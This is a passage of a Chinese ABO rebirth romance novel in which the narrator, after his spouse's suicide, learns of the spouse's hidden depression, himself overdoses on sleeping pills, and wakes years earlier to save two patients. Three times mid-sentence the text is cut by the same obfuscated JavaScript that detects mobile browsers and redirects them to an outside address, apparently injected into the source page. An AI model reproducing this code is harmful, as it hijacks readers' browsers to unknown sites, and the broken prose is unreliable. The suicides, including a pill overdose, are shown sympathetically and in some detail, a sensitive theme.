直到一年前,谈决又做了一次心理评估,同一个主任医师,但临床诊断是重度抑郁,重度焦虑,并且已经出现自伤和自毁倾向。 过劳的作息和严重的心理问题导致他失眠和厌食,谈决身体每况愈下,重度贫血和营养不良又让他患上夜盲症。 原骁记得有个周末,谈决很晚都没回家,omega加班到深夜是家常便饭,他不会抱怨什么,只是做好饭在家等待,半夜十二点的时候,大门终于响了,恍惚中他听见摔倒的声音,披上衣服出门,就看见omega胳膊上有一道骇人的血痕,衬衫都染红了一大片。 “不好意思我回来晚了……天太黑,我在路上摔了一跤。” 他一边说,一边手忙脚乱地去碰玄关处鞋柜,他两只眼睛睁着,手却找不到方向,像失明的盲人。 原骁的心重重一跳,立马开车带人去医院,等包扎完做完检查,医生说他患上了夜盲症。 那段时间谈决变得很沮丧,他看不见,又没办法停下研究,只能让原骁念研究笔记给自己。 原骁一页一页地翻看着记录,上面完完整整记录了谈决病情从确诊到恶化的全过程,他没说话,神情却绷得很紧。 而这些事谈决从来没和他提过。 或许说谈决从来就没打算让他知道,平心而论原骁还没有迟钝到那种地步,但每当他发现端倪想细究的时候,omega总是会精准地打断他。 谈决太聪明了,聪明到如果不是他偶然在枕头下发现那本被翻看了很多次的结婚证,他真的会被糊弄过去。 直到翻完最后一页,他才像解脱一样阖起报告,迟迟说不出话。 他在极力压抑某种情绪,连小李都看出了不对劲:“原哥……你没事吧?” 原骁摇摇头,只是问:“……为什么报告里没有他生病的原因?” 一个人从健康变成重度抑郁,一定有原因,而这些报告里只记录了谈决的症状和治疗方案,只字不提他为什么生病。 小李愣了下:“应该是为了保护病人的隐私,精神科很多这样的,病人可以要求主治医生保密,所以不会留下记录。” “你想知道原因只能去问谈部长的主治医生。” 原骁:“我知道了,谢谢你。” 小李摆摆手:“没什么,其实按照常规程序这些东西也是要交到家属手里的,不过上面专门叮嘱过谈部长的资料要单独封存……而且谁都没想到会发生这种事,你节哀。” 上面? 专门避开自己叮嘱这种事,除了他爹也不会有第二个人。 他告别了小李,又回到家,临走前他记下了谈决主治医生的联系方式,想约个时间聊聊,谁知他说明了来意,对面却忽然推脱这两天有工作,没时间见面。 原骁又问他周末有没有空,对方过了好久才回消息,一边道歉一边说自己周末要出差。 原骁又约了几个时间,无一例外都被对方以各种理由回绝,他沉默了一会儿,没再勉强,只说等对方忙完再找机会见面。 等结束聊天,他立马打开了对方心理咨询的预约界面,他用了宋锦的身份信息登记预约,正好约在周一下午,也就是明天的最后一个名额。 做完这些,他又躺回床上,谈决的毯子就盖在他身上,omega信息素已经很淡了,过不了多久就会完全消散,他打开床头柜,从里面拿出一盒药片,就着温水吞下去。 谈决死后他的睡眠也变得不太好,现在只能靠安眠药入睡。 等他一觉醒来,脑子里却像针扎一样疼,他看了眼手机,发现上班已经迟到了半个小时,只能穿好衣服赶往联盟中心。 好在今天没有要紧的事,外勤也没排到他,他签完几份文件,早退了一个小时去见心理医生,终于在对方快下班的时候把人拦了下来。 “唐医生。” 正在锁门的omega闻声转过头,在看见原骁的脸后吓得钥匙差点没拿稳,他后知后觉露出了个“果然逃不掉”的表情,叹了口气,又重新打开门:“进来吧。” 心理咨询室里环境还不错,光照充足,窗台上摆着多肉,角落里全是绿植,靠边的地方有一排书架。 房间里没有桌子,只有一个茶几和两座沙发,唐溯舟给原骁倒了杯茶,才在隔壁的沙发落座。 原骁喝了一口,龙井茶:“谢谢。” 他出发前看过唐溯舟的资料,三十岁,云城知名的精神科医师,omega,未婚,算他和谈决的学长。 他还在考虑怎么开口,对方却先打量起他,连自我介绍都省了:“原先生,您脸色不太好。” 原骁:“我知道。” 唐溯舟喝了口茶,手指不停地摩挲着茶杯,过了好一会儿才道:“您的来意我已经知道,按理来说我不能暴露病人隐私,但现在情况特殊,谈先生已经离世,而我也相信您要是得不到答案,就会一直骚扰我。” 原骁扯了扯嘴角:“你真了解我。” 唐溯舟:“没什么,只是谈先生在世时经常和我聊起你。” 原骁下意识坐直,他的手紧紧抓着沙发的坐垫,一开口,发现声音也有些哑:“……聊什么?” 唐溯舟没有立刻回答,反而又给了他一个忠告:“你状态很不好,原骁,你确定要我告诉你这些?” 原骁当然知道自己状态很不好,他以前从不会一宿一宿地失眠,甚至到了要靠安眠药才能入睡的地步,唐溯舟的警告是好意,但如果不能知道真相,他一定会疯得更快。 那种感觉就像刽子手的屠刀抵在脖子上,却不告知什么时候落刀,他宁愿立刻降下审判,也无法忍受这种凌迟:“确定。” 唐溯舟喝水的动作一顿,半晌才终于点头:“……好。” …… 原骁离开咨询室的时候,天已经黑了。 他拒绝了唐溯舟开车送他回家的好意,一个人往回走。 云城一直下雪,路人们都穿上了羽绒服,戴起手套和围巾,原骁今天出门太急,没带大衣,身上只穿了一件卫衣。 冷风迎面吹过来,指节像老化生锈的机械,他却好像半点都感觉不到一样。 唐溯舟和他说了很多,而此时此刻,他脑子里只剩下一句。 “原骁,谈决比你想象中要喜欢你。” “当你觉得谈决在恨你,那就是他最爱你的时候。” 原骁忽然不受控地冷笑一声,引得身边经过的路人转头看他。 这算什么? 这又算什么? 如果被戴上管教项圈送给谈决是爱,谈决亲口承认他们的婚姻只是一纸协议是爱,在0218问世后谈决毫不犹豫地服毒自杀,最后留下那张似是而非的遗书都能算爱的话,那到底什么才算爱? 如果这些也算爱,为什么他和谈决都过得那么痛苦? 为什么谈决爱他,病情却不停恶化,最后甚至到了无力回天的地步? 又或者说是因为爱他,谈决才一直那么痛苦? 难道爱并不能带来幸福,反而会带来死亡吗? 原骁想了很多,好像明白,又好像不明白,他走在霓虹灯下的人流中,却像流离的野鬼一样狼狈,直到回到家躺在床上,白山茶味的omega信息素若有若无地将他包围起来,他才慢慢安定下来。 他吞下一片安眠药,静静闭上眼,再度沉入那些光怪陆离的乱梦。 接下来的半个月,原骁好像慢慢恢复了过来,他工作日准时上班,还出了两次外勤,状态很不错,周末宋锦和他打电话,约他吃饭钓鱼,原骁也从来不拒绝,谈决的死像是一场惊雷,虽然声势浩大,却慢慢不被人提起。 生活好像又重新回到正轨,只是原骁一直住在他和谈决的婚房里,脖子上的管教项圈也一直没取。 某个周末,原骁照常下班,原越庭打电话嘱咐他注意易感期,毕竟谈决死了,他的易感期不会再有omega安抚,要提前准备好抑制剂。 他兴致缺缺,嘴上说好,眼神却飘到了道路中央,他看见有个小小的孩子站在路中间,神态 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185179|197004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无助又慌张,像是和家人走散了,远远地他听见改装摩托车发动机轰鸣的声音,越来越近。 他想都没想就挂断电话,猛地扑进路中央。 改装的摩托车来不及减速,慌慌张张想变道,最后却直直朝着原骁冲过来,他抱着孩子往旁边避让,却还是没让开,差点被车头和后视镜挑飞,他原地打了个滚,确定怀里的孩子没受伤才坐起来,一条左臂却血淋淋一片。 “砰——”摩托车最后撞上了路边的护栏,发出一声巨响,行人们发出尖叫,原骁第一时间报了警,等警察赶到现场扣下酒驾的摩托车主,又找到孩子的妈妈,原骁却一瘸一拐,无声无息地离开了车祸现场。 他又回到了他和谈决的婚房。 谈决已经离世一个月,家里所有地方都没有omega信息素了,他靠坐在玄关处,想就这样休息一下。 “嘟嘟——”手机响了,他打开,是民政局的短信,提醒他尽快在工作日带上结婚证和谈决的死亡证明去变更婚姻状况。 他盯着短信看了一会儿,关掉了手机。 他左臂火辣辣的,却感觉不到疼,他只是觉得很热,他的额头滚烫,像发高烧一样,他后知后觉到自己的易感期来了。 这是他结婚以后,第一个没有谈决陪伴的易感期。 他在玄关处坐了一会儿,等胳膊上的血止住了,才慢慢站起来走向卧室,他拿走了谈决最喜欢的毯子,又从床头柜翻出了抑制剂。 注射抑制剂的时候,他余光瞥见抽屉的角落里静静躺着半瓶安眠药。 他一愣。 . 联盟医学部长谈决自杀后一个月,他的法定配偶原骁也在他们的婚房中自杀。 宋锦带着物业破门而入时,alpha已经没了气息。 他垂头靠坐在客厅的沙发上,血淋淋的左臂还没来得及包扎,地上有两支用光的抑制剂,还有空了的安眠药瓶。 他怀里抱着条已经没有omega信息素的毯子,右手紧紧攥着两本鲜红的结婚证,而打开手机,锁屏上赫然是民政局那条变更婚姻关系的短信。 好像这样他就能把他们的下半生,甚至下辈子也一起绑定。 宋锦怔怔看着alpha的尸体,慢慢捂住脸,低声抽泣起来。 . 原骁做了个梦。 一个光怪陆离的梦,他梦见自己被戴上管教项圈,送给了一个漂亮的omega,对方总是会在没人注意的时候偷看自己,还把结婚证压在枕头下面,在夜里偷偷翻看。 他梦见omega下班时穿着实验服回家,对方脱掉手套,然后慢慢勾起自己脖颈上的项圈,清冷又强势地开口:“标记我吧。” 他梦见omega越来越薄的肩背,越来越虚弱的身体,病骨支离时他喝下一杯“加料”的水,最后躺在书房的沙发上渐渐失去了声息。 他梦见很多,有好的坏的,难过的甜蜜的,真的假的,到了最后他已经不知道自己梦见了什么,只能看着画面一帧一帧闪过,最后的最后,他梦里只剩一片白光。 叮铃铃——熟悉的下课铃声响起,原骁倏然清醒过来。 他睁开眼,这才发现自己回到了大学课堂。 熟悉的报告厅,熟悉的水课老师,熟悉的包浆ppt,还有身边熟悉的宋锦。 “醒了?昨晚又通宵打游戏吧?我叫你半天都没醒。” 宋锦拄着下巴,无聊地在课本上写写画画,原骁转过头,一双眼睛死死盯着他。 怎么回事?他不是死了吗? 还是说他没死成?现在变成了植物人,躺在病床上做梦? 宋锦被他直勾勾的眼神看得发毛:“我操|你没事吧?你做梦被鬼上身了?” 原骁在大腿上掐了一把,感受到的疼痛,他终于能确定眼前是真实的现实。 他愣了一下,连忙掏出手机,点开了日期。 N216年3月13日16点32分。 他现在十九岁,在U大读大二。 他盯着屏幕上的那个时间,再返回,就看见原越庭的消息,说让他找个时间去见见许家的小儿子,叫许眠,是个挺漂亮能干的omega。 他握着手机的力道忽然一紧,猛地站起来。 3月13……3月13…… 3月13,不就是谈决和许眠一起感染腺体萎缩症,最后许眠抢救无效死亡的那天? 5. 对峙 3月13日,是他和谈决上辈子悲剧的起点,也是导致谈决自杀的主要原因。 可他现在重生了,正好重生在悲剧发生之前。 那不就意味着一切都还没发生,一切都可以改变,他和谈决也可以重新开始? 他脸上红红白白,像是庆幸,又像是慌张,宋锦被他的脸色吓了一跳:“兄弟?兄弟你别吓我……你没事吧?” 原骁深吸了口气,冷静下来:“我没事。” 他又看了一眼时间,迅速收拾了课本,背上包离开教室,宋锦不放心,也跟了出来:“马上上课了,你去哪儿?” 原骁却摇头:“不上了。” 他要旷课。 宋锦张了张嘴:“行吧,反正是水课,上不上没关系。” 原骁却忽然停下脚步,他皱着眉,站在花台边翻通讯录,最后翻到一个熟悉的号码,毫不犹豫地拨了过去。 嘟——嘟——嘟——手机响过了三声,终于接通,电话那边响起沉稳的男声:“小骁,这个时间打电话给我,有什么事吗?” 原骁开门见山:“大哥,云城现在有几台免疫治疗舱?” “你问这个干什么?”原邃不明所以,但还是示意秘书去查,大概过了三分钟,秘书带回来一张纸条,原邃看了眼纸条。 “三台,一台在联盟,不过正在检修,一台在二院,还有一台出借到隔壁K市,明早才能送回来。” 免疫治疗舱是至今为止唯一能够阻断腺体急性萎缩的顶级高精医疗器械,单台造价高达上亿美金,一天的租借费用救上百万,每启动一次的治疗费用还要以平均每分钟三万美金的速度叠加计算。 就算是云城这种全球经济重心,满打满算也只有三台。 原骁:“K市那台还在用吗?能不能今晚就送回来?直接送到二院。” 原邃指节敲了敲桌面:“……理由?” 原骁没解释太多:“我有个朋友可能要用,电话里说不清楚,之后我再和你解释。” 原邃:“一定要?” “一定要,”原骁点头:“我还要最快的速度,至少在五小时内送到。” 原邃那边沉默了一会儿,没再追问:“行,我现在联系K市的朋友,让他安排飞机空运过来。” “要是被我发现你一晚上烧掉我上千万只是为了折腾人,那你就死定了。” “挂了。” 电话挂断,原骁也浅浅松了口气,宋锦听完他们全程对话,更是不明所以:“你要借治疗舱?你腺体不舒服吗?” 原骁现在顾不上和他解释:“宋锦,我要你帮个忙,待会我会把私人飞机的航线和仪器的落地时间发给你,到时候你帮我去接一下,确保治疗仪能在今晚十点前送到二院。” 他安排了一大堆,宋锦越听越迷茫,但看着原骁如临大敌的神态,他还是没问什么,反而爽快答应了:“……行,我现在过去。” 原骁:“谢谢,回来请你吃饭。” “小事,”宋锦一边往校门走,一边掏出手机打车,走到一半又忽然想起什么:“那你呢?我去接仪器你去干嘛?” 原骁:“……我去二院。” 云城军二院,是联盟军属第二医院的简称,因为直属联盟管辖,又对接了联盟医学部,接触的都是最新最前沿的医疗技术,所以治疗水平远超一般的三甲医院。 三月份的云城还在倒春寒,早晚还要添衣才行,原骁坐车赶往二院,马上就到下班时间,路上很堵,汽车只能龟速移动,网约车司机在前面唉声叹气。 司机一叹气,原骁的也跟着烦躁起来,他坐在后座,不停地开关手机屏幕,直到天完全黑尽,路灯和车灯一起亮起来。 “啪嗒”“啪嗒”,细细的春雨砸在后窗玻璃上,晕开小团小团的水花,原骁透过玻璃看向窗外,看着路灯和高楼缓缓后退,灯光照亮他年轻的侧脸,春雨的白噪音伴着缭乱的灯光,让他不受控地想起前世。 他想到上辈子的今天。 他记得那是一个稀松平常的下午,他和宋锦一起上完水课,正准备去吃饭,却忽然接到了原越庭的电话。 “小骁,许家那小孩儿感染腺体萎缩症了,现在人在二院,你过去看看他吧。” 他和许眠的婚约很早就定下了,他妈妈生前和许眠的妈妈是好朋友,他爸和许眠爸爸是商业伙伴,关系近了,婚事就稀里糊涂定下了。 他们这样的家庭,商业联姻和协议婚姻都是家常便饭,有时候不愿意也得愿意,不认识也假装认识,尽管他和许眠只是小时候在聚会见过几次,长大后许眠去了北欧留学,几年也见不了一面,这次好不容易回来,原越庭本来是想撮合两个孩子抽空见见面,没想到再见面就是在医院。 腺体萎缩症一旦发作,死亡率高达99%,除非使用昂贵的免疫治疗舱,否则绝无生机,原骁知道他爸的意思,作为对方的未婚夫,他应该去一趟。 他挂断电话,很快就赶到二院,只是他没想到和许眠一起住院的还有另一个人。 那是一名年轻的omega,22岁,但身份地位显然很不一般,他身边围满了头发花白的专家主任,一群人正不遗余力地出谋划策,提出方案,讨论怎么才能保住omega生命的同时最大限度保护对方的大脑不受损伤。 他们讨论得很激烈,好几次甚至因为意见不同吵起来,而和对面比起来,许眠这边只有两个护士和一个副主任医师在照顾,几乎算得上冷清。 许眠的家人都不在云城,身边只有送他来医院的同学,还有原骁这个未婚夫。他们很早之前就表达了诉求,签了承诺书,许眠得了急性腺体萎缩症,必须马上上仪器治疗,不管多少钱都能承受。 然而等原骁推着许眠到了治疗室,却发现治疗舱已经被另一个omega占用。 对方还穿着白大褂,浑身却因为高烧出汗湿透,借着良好的视力,原骁看见了对方胸牌。 谈决,男性omega,工作单位是人类生命进化研究所。 为了减少治疗过程中脑部受到的损伤,谈决必须全程保持清醒,他没打麻药,只任由治疗舱里的管道插进他的血管,手背还有腺体。 他强撑着坐在仪器上,面前还有一张桌子,桌子上摆着工作电脑和笔记本,他一边敲电脑,一边争分夺秒地记录着什么,而治疗舱每运转一次,他都会因为疼痛而不得不停下动作,偶尔偏头咳嗽时,他会抽出口袋里的手帕捂住口鼻,等再收回时,手帕已经血红一片。 等疼痛稍微缓和些,他又把目光注意力转回电脑屏幕,继续敲键盘。 原骁从没见过那么拼命的人,他想象不出那台电脑和那些手写笔记对谈决到底意味着什么,才会让他强忍着剧痛,一遍遍自我折磨,他一时愣住,紧接着轮椅上的许眠也咳嗽起来。 他顿时回神,弯腰查看情况,这才发现许眠口鼻也开始流血。 不行,不能再拖了,多拖一分一秒许眠都会死。 他上前恳求医生,恳求他们让许眠使用治疗舱,专家们面面相觑,不敢同意,也不敢做决定。 原骁终于怒了:“一架治疗仪可以最多两个人用,为什么不让我们治?” 他的声音很快就引来了谈决的注意,对方停下笔,抬眼,紧接着就一怔。 那是一个很复杂的眼神,像是意外,又像是痛苦,但谈决隐藏得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185180|197004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很好,这些情绪转瞬即逝,很快他的思绪就被理智占领。 “不行。”这是谈决对原骁说的第一句话,他毫不犹豫地拒绝了他的要求:“两个人同时使用一台治疗舱,患者有95%的概率出现大脑前额叶损伤,60%的概率出现海马体损伤。” 原骁一愣:“所以呢?” “对不起,我不能让他和我一起治疗,我的大脑不能受影响。” 强势、果断、没有丝毫余地的拒绝。 就这样堵死了许眠的生路。 “你有病吧?”原骁从来没碰见过这种事,他当即大怒:“你不觉得自己的话很荒谬吗?你有什么资格拒绝其他病人治疗?难道在你眼里大脑不受损伤比别人的命还重要?” 谈决看着alpha出离愤怒的模样,张了张嘴,却没说出什么,他脸色惨白,唇上没有一点血色,额头上的冷汗一个接一个不停往下掉,唯独那双眼睛,坚定到让人觉得痛苦:“对不起。” 他好像只会说这三个字。 而他的拒绝就代表了所有人的态度。 整个治疗室,不管那些年轻的年长的,知名的不知名的,职称高的低的,所有人都要以这个22岁omega的意愿为先,就算原骁的爹现在是联盟副主席,见过各种各样的权力,他也从来没见过这种能量。 这已经不单单是权力能做到的事情了。 他觉得恐怖又荒谬,还想再说什么,却被许眠抓住袖口,一转头,口鼻出血的omega对他摇了摇头:“我们回去吧。” 原骁以为自己听错了:“……什么?” 许眠:“谢谢你原骁,但我知道他是谁……我不治了,你带我回去吧。” 许眠当然知道谈决,他前不久才刚刚向谈决的研究所提交了实习申请。 可原骁不知道,他更不理解。 他还想再对峙,再和谈决争取,可许眠却下定决心,他犯倔似的用瘦弱的胳膊控制着轮椅,慢慢离开了手术室。 原骁难以置信地看着omega离开的背影,他回头,看见谈决坐在仪器前,身上插满了各种管子,正深深地望着他们。 这个世界简直荒谬到了无理取闹的地步,不管是医院,谈决还是许眠,他最后还是追上了许眠,对方怎么都不肯治病,原骁只能打电话给原越庭,问他云城还有没有其他治疗舱,得到的答案是一台在检修,一台出借到了K市。 得不到治疗,许眠的病情发展得很快,K市的治疗舱还没运上前往云城的飞机,他就因为多处器官衰竭,抢救无效死亡。 原骁站在急救室的走廊外,听着许眠痛苦刺心的哀嚎声却什么都做不了,最后那声音越来越小,越来越弱,直到最后,omega被推了出来,全身盖着白布,接着原骁听见医生对他说:“先生,您节哀。” 一条鲜活的生命就这样匆忙消逝,他恍恍惚惚地扶住病床,握住白布下那只犹带余温的手,不受控地想起手术室里那个被众人簇拥保护,却冷心冷肺的omega,眼里终于闪过一丝恨意。 而他怎么都没想到,三天后他会被强行匹配给这个冷心冷肺的omega。 …… “哗”,网约车停在了二院的急诊大楼前,原骁也猝然回神。 他看着熟悉的景物,再也来不及发呆,匆忙付款下车。 司机很快就掉头离开,原骁站在雨中,有一瞬的茫然,然而下一刻,尖锐的救护车警报就划破了云城的雨夜。 他看见红蓝警示灯由远及近,心也跟着重重一跳。 那是一种预感,说不清道不明,但那一瞬间原骁就确定了一件事。 是谈决……一定是谈决! 6. 对视 刺耳的警报声中,两辆警车一前一后,护送着救护车驶进了医院。 夜色中,原骁看见一道熟悉的,清瘦的人影被扶下了救护车。 是谈决,真的是谈决…… 他太熟悉对方的身形了,只要远远看一眼就能认出来,此时此刻原骁终于有了重生的实感,他鬼使神差地上前,想看看谈决好不好,然而刚一靠近就被护卫的警察拦了下来。 “先生,这里是隔离区,请您立刻离开,不要干扰急救工作。” 原骁终于如梦初醒。 他忘了,他和谈决现在还没相遇,自己现在只是个整天傻乐的学生,根本没有资格和谈决这样级别的人物见面。 如果不是当初强制匹配,他能不能和谈决结婚都是问题。 他立马收回那些情绪,只低头看了眼时间,现在是晚上七点半。 许眠大概会在一到两个小时之内抵达。 他又发了条消息给宋锦,确定了治疗舱已经上飞机,大概半小时后落地,到时候宋锦会直接带着仪器过来。 他小小地松了口气,接着打电话联系腺体科的主任,申请临时接收治疗舱和启动手术的手续流程很复杂,等原骁跟着医护人员上上下下办完手续,已经是八点半了。 他一边等治疗舱,一边等许眠的消息,时间一分一秒过去,他的心却越提越高,路过的护士看他脸色不好,好心给他接了杯热水:“你是病人家属吗?” “谢谢,”原骁喝了一口水,指了指手术室明亮的灯光:“我老婆在里面。” 护士愣了一下,她明明记得刚才被推进手术室的omega病历上写的是22岁未婚。 突然,原骁的手机响了。 是原越庭的电话,和上辈子一模一样的时间,原骁立刻点了接听:“喂,爸。” “在干什么?”原越庭在电话叹了口气:“小骁,许家那小孩儿感染腺体萎缩症了,现在人就在二院,你过去看看他吧。” 和上辈子分毫不差的对话。 原骁终于生出一丝信心,同一时间,陈锦的电话也打了进来,原骁心里一跳,没解释太多:“我知道了爸,先挂了。” 治疗舱也送到了。 他提前打过招呼,于是治疗舱顺风无阻地进了手术室,他看见许眠被推下救护车,身边只有几个同学陪护,完全没有谈决那种被重重保护的阵仗。 “许眠。”他一出声,轮椅上的omega抬起头,看了他好一会儿才认出他是谁。 “……原骁?” 原骁点点头,接过轮椅:“是我,我爸让我来看你。” 许眠偏头咳了一声,最后有气无力地吐出句“谢谢”。 腺体科大部分医师都被调到了谈决那边,办公室只剩两个年轻的医生,两人看见许眠都吓了一跳:“又是腺体萎缩症?可206的治疗舱已经有患者在用了……” 原骁打断他们:“用另一台,二楼207手术室,刚从K市运过来的,设备完好,没有问题。” 他这句话才出口,不光两个医生和许眠愣住,连气喘吁吁刚刚爬楼上来的宋锦都吓了一跳。 “真的有……207真有治疗舱!”两个医师了解完情况,瞬间喜出望外,用最快的速度给许眠安排,十分钟后,许眠被打上麻醉送进了207,身上很快就插满各种管道。 科室的医生和许眠的几个同学都在感慨居然这么巧,正好遇上联盟的治疗舱出借被送回,他们一边担心许眠,一边好奇地追问原骁和许眠的关系。 原骁只能含糊其辞:“……朋友。” 宋锦参与了全程,当然不相信这是巧合。 天知道调走一台治疗舱,再临时申请私人飞机航线运过来要疏通多少关系烧多少钱,这能是巧合就有鬼了! 都是一个圈子的,宋锦也知道许眠是原骁的未婚夫,他悄悄把alpha拉到角落:“你跟兄弟说实话,你是不是早就知道你老婆会出事?” 原骁皱了下眉:“他不是我老婆,你别乱说。” 他老婆还在隔壁。 宋锦噎了下:“……行,不是就不是,你先跟我说明白,你到底是怎么知道许眠会出事的?” 从白天原骁一觉睡醒,他就觉得这人不对劲了。 原骁沉默了下,他当然不能说自己是重生的,这事骇人听闻,说出来宋锦也不会信,反而会被当成精神病,他只能退而求其次:“我梦见的。” “白天睡着的时候,我梦见许眠感染了急性腺体萎缩症,所以醒过来的时候脸色才那么差。” 宋锦果然被他唬住了:“真的假的?这他妈也能梦见?” 原骁:“真的,你信我。” 宋锦:“……” 宋锦沉显然受到了震撼,他花了点时间说服自己,又接着问:“不是,那你怎么确定梦到的一定是真的?” 原骁决定装个逼:“直觉。” 宋锦难以置信:“直觉?那要是直觉错了怎么办?”原骁这一通折腾打底就是上千万,放他身上早被他爹电话轰炸骂死了。 原骁:“错就错吧,人没事就好。” 宋锦:“……操。” 他忘了,人家根本就不在乎钱,圈子里也分高低,原骁这种家境,一百万和一千万在他眼里也只是多个0少个0的区别。 不过话说回来,原骁能做到这份上,说明他还挺喜欢许眠的吧? 宋锦乱糟糟地想了一堆,肚子却不合时宜地叫起来,现在晚上九点半,两个alpha都没吃饭,整层楼都有警察把守,外卖也进不来,他想了想,还是决定下楼买点吃的。 原骁“嗯”了一声,眼神却紧紧盯着隔壁206手术室,谈决已经进去了两个多小时:“你去吧,我在这里守着。” 免疫治疗舱是按分钟收费,原骁的手机每过六十秒都会跳出扣费短信,每二十分钟护士就会送一次账单出来让他签字,而这短短二十分钟花费的金额就超过了普通人一辈子的积蓄。 这是上层人花钱买命的把戏,只有极少数有钱有势的人才能承担起这样巨额的消费,而大部分人终其一生都没机会享受,一旦感染了腺体萎缩症就只能等死。 所以谈决的存在才举足轻重。 唯有推动医学和科技的进步,才能消除这种天堑一样的阶级差距,只有0218问世,问题才能从根源得到解决。 原骁上辈子不懂,可他现在忽然明白了里三层外三层的专家主任,还有楼道里如临大敌的警察们,与其说这是一种特权,不如说是他们只是在紧抓着救命稻草,天才永远是独一无二的,谈决一死,0218的研究至少会倒退几十年甚至几百年。 他当年出离愤怒,只记得谈决拒绝和许眠一起使用治疗舱时的果绝和冷漠,却没想到在接下来五年,谈决一直因为许眠的死内疚自责,甚至重度抑郁。 后来他研究出了特效药,将0218作为礼物免费送给全世界,却拒绝向别人公开自己的姓名,拒绝接受本该得到的荣誉,最后在欢呼庆祝声中服毒自杀。 他像大部分天才一样,在年轻时就迸发出足以比肩太阳的光辉,却在最荣耀的时刻陨落,美丽而短暂,这仿佛是宿命,更是种墨守成规的诅咒。 谈决被推进手术室已经快三个小时了,他看着无数人在206手术室门口等待,张望,其中不乏经常在新闻里出现的面熟的政客。 他也想走近看一眼谈决,想看他好不好,疼不疼,但这辈子许眠不需要和谈决共享治疗舱,所以他没有资格进入206和对方谈话。 他只能拦下一名护士:“你好,请问206那位先生情况怎么样?他还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185181|197004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好吗?” 护士显然被交代了什么,警惕地看着他,原骁只能解释:“我的朋友也感染了腺体萎缩症,正在207治疗,我想了解一下其他病人的情况。” 护士果然放松了警惕:“患者的情况暂时稳定了,病情没有继续恶化,不过不能排除突发情况和并发症,能不能治好要等到天亮才知道结果。” 原骁:“……谢谢。” 这实在是个很难捱的夜晚,原骁坐在人来人往的走廊上,宋锦买来的面就摆在旁边,一口未动,虽然命运已经给他指明了方向,可他又怕命运再和他开玩笑,再让许眠和谈决出什么意外。 凌晨五点,走廊里静悄悄的,偶尔有医护人员的脚步声,面已经凉了,坨成铁饼,拎起来都是实心的,原骁起身把面扔进垃圾桶,看见宋锦和许眠的几个同学在椅子上打盹,只听“啪”一声,207手术室的灯暗了。 短信扣费也终于停了,原骁忽然站起来,没多久,医生就推着昏迷许眠出来:“家属,许眠的家属在吗?” 原骁忽然站起来,把宋锦他们叫醒:“在这里。” “病人已经脱离生命危险,现在要转重症室继续观察,来吧,在这里签字吧。” 原骁签完字,和护士一起推着许眠往外走,路过206时,他忽然听见“啪”一声,紧接着手术室的大门就被人推开。 谈决坐在轮椅上,被人慢慢推了出来。 他没有打麻药,全程都清醒着,此刻头发和衣服都已经湿透,白大褂上甚至还沾着斑驳的血迹。 谈决一夜间就瘦了一大圈,他像刚刚从地狱里爬出来似的,面容惨白,唇上没有一点血色,露出来的一截脖颈看起来轻轻一折就断,虚弱到随时都会昏倒,可那双眼睛却一如既往,清醒又坚定。 四目相对时,两人不约而同地愣住。 很快谈决就注意到病床上的许眠,他瞬间意识到什么,不动声色地移开目光,慢慢垂下眼。 谁知alpha却哑声开口:“……你还好吗?” 声音很低,语气心疼,听起来像在哭一样,谈决再次抬眼,这才看见alpha微红的眼眶和眼里的血丝,在这十二个小时里,他也饱受折磨。 谈决有些受宠若惊,他下意识看一眼左右的人,确定alpha是和自己说话,才迟疑地点了点头:“我很好……感谢您的关心。” 他又看向许眠:“也恭喜您的伴侣脱离危险。” 他刚刚在里面已经听见了alpha说自己是病人家属。 原骁一愣,正想解释什么,谈决背后的医生已经在催促他离开:“先生,我们的病人已经很疲惫了,你能别挡路吗?” 原骁只能被催促着往前走。 他忘了,自己现在还有婚约在身,而谈决根本不认识自己。 他如果想和谈决结婚,就得等谈决信息素紊乱之后,被他爸戴上管教项圈,亲自送给omega,否则他连和谈决单独见一面,多说一句话的资格都没有。 但他和谈决的信息素匹配度不会作假,对方虚弱成这样,很快就会信息素紊乱,而自己的信息素是帮对方缓解痛苦最好的办法。 两拨人一前一后离开手术室,最后一起等电梯,期间原骁频繁回头看向轮椅上的omega,频繁到值守的警察都察觉到了异常,不动声色地摸向了后腰。 谈决担心对方被抓起来,正打算出声阻止,一件温暖的,带着向日葵信息素的外套就轻轻落在了身上。 他微微一愣,就看见alpha弯下腰,贴心地掖了掖衣角:“穿这么单薄,不怕着凉吗?” 他语气熟稔过了头,动作也太自然,谈决噎了下,很快alpha又反应过来,像委屈的大型犬一样给自己找补。 “我好像有点太助人为乐了……抱歉先生。” 7. 意外 